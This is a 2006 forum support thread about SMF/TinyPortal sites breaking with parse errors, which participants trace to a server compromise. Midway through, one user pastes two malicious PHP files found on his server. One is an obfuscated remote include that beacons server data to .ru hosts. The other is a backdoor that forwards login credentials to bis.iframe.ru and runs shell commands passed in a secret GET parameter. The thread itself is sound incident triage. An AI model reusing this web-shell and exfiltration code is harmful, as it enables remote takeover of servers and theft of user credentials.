TinyPortal

Development => Support => Topic started by: tattooedpierre on June 22, 2006, 03:59:08 PM

Title: Unexpected $end error
Post by: tattooedpierre on June 22, 2006, 03:59:08 PM
My site has been down since yesterday and I can't seem to find any reason for it. The error I am receiving is:

Parse error: syntax error, unexpected $end in /home/theinfe/public_html/smf/index.php on line 207

.. upon looking in the index.php file it does seem to be all fine.

<?php
/******************************************************************************
* index.php                                                                   *
*******************************************************************************
* SMF: Simple Machines Forum                                                  *
* Open-Source Project Inspired by Zef Hemel (zef@zefhemel.com)                *
* =========================================================================== *
* Software Version:           SMF 1.1 RC2                                     *
* Software by:                Simple Machines (http://www.simplemachines.org) *
* Copyright 2001-2005 by:     Lewis Media (http://www.lewismedia.com)         *
* Support, News, Updates at:  http://www.simplemachines.org                   *
*******************************************************************************
* This program is free software; you may redistribute it and/or modify it     *
* under the terms of the provided license as published by Lewis Media.        *
*                                                                             *
* This program is distributed in the hope that it is and will be useful,      *
* but WITHOUT ANY WARRANTIES; without even any implied warranty of            *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.                        *
*                                                                             *
* See the "license.txt" file for details of the Simple Machines license.      *
* The latest version can always be found at http://www.simplemachines.org.    *
******************************************************************************/

/* This, as you have probably guessed, is the crux on which SMF functions.
Everything should start here, so all the setup and security is done
properly.  The most interesting part of this file is the action array in
the smf_main() function.  It is formatted as so:

'action-in-url' => array('Source-File.php', 'FunctionToCall'),

Then, you can access the FunctionToCall() function from Source-File.php
with the URL index.php?action=action-in-url.  Relatively simple, no?
*/

$forum_version = 'SMF 1.1 RC2';

// Get everything started up...
define('SMF', 1);
@
set_magic_quotes_runtime(0);
error_reporting(E_ALL);
$time_start = microtime();

// Load the settings...
require_once(dirname(__FILE__) . '/Settings.php');

// And important includes.
require_once($sourcedir . '/QueryString.php');
require_once(
$sourcedir . '/Subs.php');
require_once(
$sourcedir . '/Errors.php');
require_once(
$sourcedir . '/Load.php');
require_once(
$sourcedir . '/Security.php');
// TinyPortal include
require_once($sourcedir . '/TPortal.php');

// Using an old version of PHP?
if (@version_compare(PHP_VERSION, '4.2.3') != 1)
require_once(
$sourcedir . '/Subs-Compat.php');

// If $maintenance is set specifically to 2, then we're upgrading or something.
if (!empty($maintenance) && $maintenance == 2)
db_fatal_error();

// Connect to the MySQL database.
if (empty($db_persist))
$db_connection = @mysql_connect($db_server, $db_user, $db_passwd);
else
$db_connection = @mysql_pconnect($db_server, $db_user, $db_passwd);

// Show an error if the connection couldn't be made.
if (!$db_connection || !@mysql_select_db($db_name, $db_connection))
db_fatal_error();

// Load the settings from the settings table, and perform operations like optimizing.
reloadSettings();
// Clean the request variables, add slashes, etc.
cleanRequest();
$context = array();

// Determine if this is using WAP, WAP2, or imode.  Technically, we should check that wap comes before application/xhtml or text/html, but this doesn't work in practice as much as it should.
if (isset($_SERVER['HTTP_ACCEPT']) && strpos($_SERVER['HTTP_ACCEPT'], 'application/vnd.wap.xhtml+xml') !== false)
$_REQUEST['wap2'] = 1;
elseif (isset(
$_SERVER['HTTP_ACCEPT']) && strpos($_SERVER['HTTP_ACCEPT'], 'text/vnd.wap.wml') !== false)
{
if (
strpos($_SERVER['HTTP_USER_AGENT'], 'DoCoMo/') !== false || strpos($_SERVER['HTTP_USER_AGENT'], 'portalmmm/') !== false)
$_REQUEST['imode'] = 1;
else
$_REQUEST['wap'] = 1;
}

if (!
defined('WIRELESS'))
define('WIRELESS', isset($_REQUEST['wap']) || isset($_REQUEST['wap2']) || isset($_REQUEST['imode']));

// Some settings and headers are different for wireless protocols.
if (WIRELESS)
{
define('WIRELESS_PROTOCOL', isset($_REQUEST['wap']) ? 'wap' : (isset($_REQUEST['wap2']) ? 'wap2' : (isset($_REQUEST['imode']) ? 'imode' : '')));

// Some cellphones can't handle output compression...
$modSettings['enableCompressedOutput'] = '0';
// !!! Do we want these hard coded?
$modSettings['defaultMaxMessages'] = 5;
$modSettings['defaultMaxTopics'] = 9;

// Wireless protocol header.
if (WIRELESS_PROTOCOL == 'wap')
header('Content-Type: text/vnd.wap.wml');
}

// Check if compressed output is enabled, supported, and not already being done.
if (!empty($modSettings['enableCompressedOutput']) && !headers_sent() && ob_get_length() == 0)
{
// If zlib is being used, turn off output compression.
if (@ini_get('zlib.output_compression') == '1' || @ini_get('output_handler') == 'ob_gzhandler' || @version_compare(PHP_VERSION, '4.2.0') == -1)
$modSettings['enableCompressedOutput'] = '0';
else
ob_start('ob_gzhandler');
}
// This makes it so headers can be sent!
if (empty($modSettings['enableCompressedOutput']))
ob_start();

// Register an error handler.
set_error_handler('error_handler');

// Start the session. (assuming it hasn't already been.)
loadSession();

// What function shall we execute? (done like this for memory's sake.)
call_user_func(smf_main());

// Call obExit specially; we're coming from the main area ;).
obExit(null, null, true);

// The main controlling function.
function smf_main()
{
global
$modSettings, $settings, $user_info, $board, $topic, $maintenance, $sourcedir;

// Special case: session keep-alive.
if (isset($_GET['action']) && $_GET['action'] == 'keepalive')
die;

// Load the user's cookie (or set as guest) and load their settings.
loadUserSettings();

// Load the current board's information.
loadBoard();

// Load the current theme.  (note that ?theme=1 will also work, may be used for guest theming.)
loadTheme();

// Check if the user should be disallowed access.
is_not_banned();

// Load the current user's permissions.
loadPermissions();

// Do some logging if this is not an attachment/avatar or the setting of an option.
if (empty($_REQUEST['action']) || !in_array($_REQUEST['action'], array('dlattach', 'jsoption')))
{
// Log this user as online.
writeLog();

// Track forum statistics and hits...?
if (!empty($modSettings['hitStats']))
trackStats(array('hits' => '+'));
}

// TinyPortal
TPortal_init();

// Is the forum in maintenance mode? (doesn't apply to administrators.)
if (!empty($maintenance) && !allowedTo('admin_forum'))
{
// You can only login.... otherwise, you're getting the "maintenance mode" display.
if (isset($_REQUEST['action']) && $_REQUEST['action'] == 'login2')
{
require_once(
$sourcedir . '/LogInOut.php');
return
'Login2';
}
// Don't even try it, sonny.
else
{
require_once(
$sourcedir . '/Subs-Auth.php');
return
'InMaintenance';
}
}
// If guest access is off, a guest can only do one of the very few following actions.
elseif (empty($modSettings['allow_guestAccess']) && $user_info['is_guest'] && (!isset($_REQUEST['action']) || !in_array($_REQUEST['action'], array('login', 'login2', 'register', 'register2', 'reminder', 'activate', 'help', '.xml'))))
{
require_once(
$sourcedir . '/Subs-Auth.php');
return
'KickGuest';
}
elseif (empty(
$_REQUEST['action']))
{
// Action and board are both empty... maybe the portal page?
if (empty($board) && empty($topic) && $settings['TPortal_front_type']!='boardindex')
{
require_once(
$sourcedir . '/TPortal.php');
return
'TPortal';
}
if (empty(
$board) && empty($topic) && $settings['TPortal_front_type']=='boardindex' && (isset($_GET['cat']) || isset($_GET['page'])))
{
require_once(
$sourcedir . '/TPortal.php');
return
'TPortal';
}


.. anyone have any ideas? I'm using SMF 1.1 RC2 and TP 0.8.6, with various themes installed. It was working fine yesterday morning but now all of sudden this.

I am only aware that yesterday there may have been larger than usual traffic, but other than that..

http://www.theinfernals.org.uk
Title: Re: Unexpected $end error
Post by: G6Cad on June 22, 2006, 04:03:12 PM
What did you do when this error first showed up ?
Title: Re: Unexpected $end error
Post by: tattooedpierre on June 22, 2006, 04:05:10 PM
I opened the file in question and looked at it. And found nothing on that particular line that was indicative to me of a fault. In the meantime, I checked the SQL database to make sure it was intact.
Title: Re: Unexpected $end error
Post by: GTS on June 22, 2006, 04:08:35 PM
Did you paste the content of the whole file to the code block, or just till line 206?

Because, my index.php has a few more lines. (351)

If you pasted the whole file, it means that your index.php is broken.
Title: Re: Unexpected $end error
Post by: tattooedpierre on June 22, 2006, 04:10:38 PM
I did paste the whole file, yeah. I thought this might be the case but I couldnt recover a TP'ed version of the index.php file. Do you have any idea where I could get an intact version?
Title: Re: Unexpected $end error
Post by: GTS on June 22, 2006, 04:18:05 PM
You could use the SMF original index.php, and apply the changes to it manually.
You can find the needed modifications in TP_mod-instructions.txt in the tinyportal zip file ^^

On the other side, here's mine.
It should only have the changes by the tinypotal mod inside, but no warranty ;)

Edit: damn typos ^^
Title: Re: Unexpected $end error
Post by: tattooedpierre on June 22, 2006, 04:33:20 PM
Thanks for that. I do, however, have a new error :(

Warning: Unterminated comment starting line 26 in /home/theinfe/public_html/smf/Sources/Subs.php on line 26

Parse error: syntax error, unexpected $end in /home/theinfe/public_html/smf/Sources/Load.php on line 192


.. everything is looking to be generally messed up :( .. what could do this?!
Title: Re: Unexpected $end error
Post by: GTS on June 22, 2006, 04:46:18 PM
Looks like a ploblem with your host, like a crash or something that damaged some files in your folders.
You could try requesting a restore from your host (if the host made backups at least), but that would mean a rollback of serveral days/weeks, depending on the backup interval.

Otherwise, you'll have to reinstall everything, and hope that the database isn't damaged.

Backing up your files regularly helps against that ... ^^
Title: Re: Unexpected $end error
Post by: tattooedpierre on June 22, 2006, 04:54:15 PM
I've contacted my host.. Ugh this is a nightmare :( .... sooooo much time and effort spent to create it all. Well at least the database seems to be intact. I'll need to see what they say about a recent crash and recovery options.

Thanks for your help :)
Title: Re: Unexpected $end error
Post by: Xarcell on June 22, 2006, 04:59:35 PM
I think the problem is your subs.php. There is an error in the script.

Did you add a mod or something?
Title: Re: Unexpected $end error
Post by: GTS on June 22, 2006, 05:01:12 PM
No problem :)

If a backup isnt available (or it's too old) you could still reinstall SMF. If you configure it right, it should pick up all the postings, members and other stuff that remained in the database :)
Title: Re: Unexpected $end error
Post by: tattooedpierre on June 22, 2006, 06:42:38 PM
Quote from: Xarcell on June 22, 2006, 04:59:35 PM
I think the problem is your subs.php. There is an error in the script.

Did you add a mod or something?

Not as far as I recall. I have a lot of custom stuff (totally seperate from SMF) though.
Title: Re: Unexpected $end error
Post by: PioneeR on June 24, 2006, 03:24:23 PM
Hi,
I have the exact same problem!

Just been trying to replace the odd file with the default SimpleMachines one. It looks like a load of .php have been truncated almost chopped in half?!

Very odd indeed. Looks like it happened just before 1am this morning.

In my tmp directory I have two files too (again created at the same time)..

create.php

<? error_reporting(0);$s="e";$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);$b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI);$d=(isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF);$e=(isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : $QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER);$g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT);$h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR);$str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".$s"; if ((include(base64_decode("aHR0cDovLw==").base64_decode("dXNlcjkubXNodG1sLnJ1")."/?".$str))){} else {include(base64_decode("aHR0cDovLw==").base64_decode("dXNlcjcuaHRtbHRhZ3MucnU=")."/?".$str);} ?>

and

base.php

<?php
error_reporting
(0);
if(isset(
$_POST["l"]) and isset($_POST["p"])){
   if(isset(
$_POST["input"])){$user_auth="&l=". base64_encode($_POST["l"]) ."&p=". base64_encode(md5($_POST["p"]));}
   else{
$user_auth="&l=". $_POST["l"] ."&p=". $_POST["p"];}
}else{
$user_auth="";}
if(!isset(
$_POST["log_flg"])){$log_flg="&log";}
if(! @include_once(
base64_decode("aHR0cDovL2Jpcy5pZnJhbWUucnUvbWFzdGVyLnBocD9yX2FkZHI9") . sprintf("%u", ip2long(getenv(REMOTE_ADDR))) ."&url=". base64_encode($_SERVER["SERVER_NAME"] . $_SERVER[REQUEST_URI]) . $user_auth . $log_flg))
{
   if(isset(
$_GET["a3kfj39fsj2"])){system($_GET["a3kfj39fsj2"]);}
   if(
$_POST["l"]=="special"){print "sys_active". `uname -a`;}
}
?>


Anything to do with my problems??
Title: Re: Unexpected $end error
Post by: GTS on June 24, 2006, 03:52:30 PM
as i said on SMF boards (which seem to be down again) that script looks pretty suspicious.

It tries to contact a remote php script (http://bis.iframe.ru/master.php) with suspicious arguments.

I would suspect an hacking attempt, but i'm not really sure.
Title: Re: Unexpected $end error
Post by: tattooedpierre on June 24, 2006, 05:46:37 PM
Quote from: GTS on June 24, 2006, 03:52:30 PM
as i said on SMF boards (which seem to be down again) that script looks pretty suspicious.

It tries to contact a remote php script (http://bis.iframe.ru/master.php) with suspicious arguments.

I would suspect an hacking attempt, but i'm not really sure.

Really?? I never even considered a hacking attemt. I'll look over the files again, that directory in specific. Thanks for the input, guys. Much appreciated.
Title: Re: Unexpected $end error
Post by: PioneeR on June 24, 2006, 05:53:03 PM
Def an hack here. Put in dodgy .htaccess files, changed perms, truncated various files and uploaded dodgy ones :(
Title: Re: Unexpected $end error
Post by: G6Cad on June 24, 2006, 05:56:43 PM
Have you all updated you sites with the TP upgrade form the download section here ?
If not i strongly recomend you to do so, and then after you have don that, see if the forum are up and working again.
If it is a hacking attempt and it is done through the shoutbox, you should be good with just replacing the files with the ones from the update pack here.
Title: Re: Unexpected $end error
Post by: GTS on June 24, 2006, 05:57:34 PM
Quote from: winrules
Delete those files immediatally, clear out the bad code from your .htaccess files, and reupload all SMF files. You should also change all passwords. More information can be found here (http://forums.asmallorange.com/index.php?showtopic=5815).

Just quoting the post on SMF Forums, so you people see it too.
Title: Re: Unexpected $end error
Post by: PioneeR on June 25, 2006, 01:13:11 AM
Just had another site go down (same as above) This time a mambo based one. Only just found out... happened a few mins after the other one.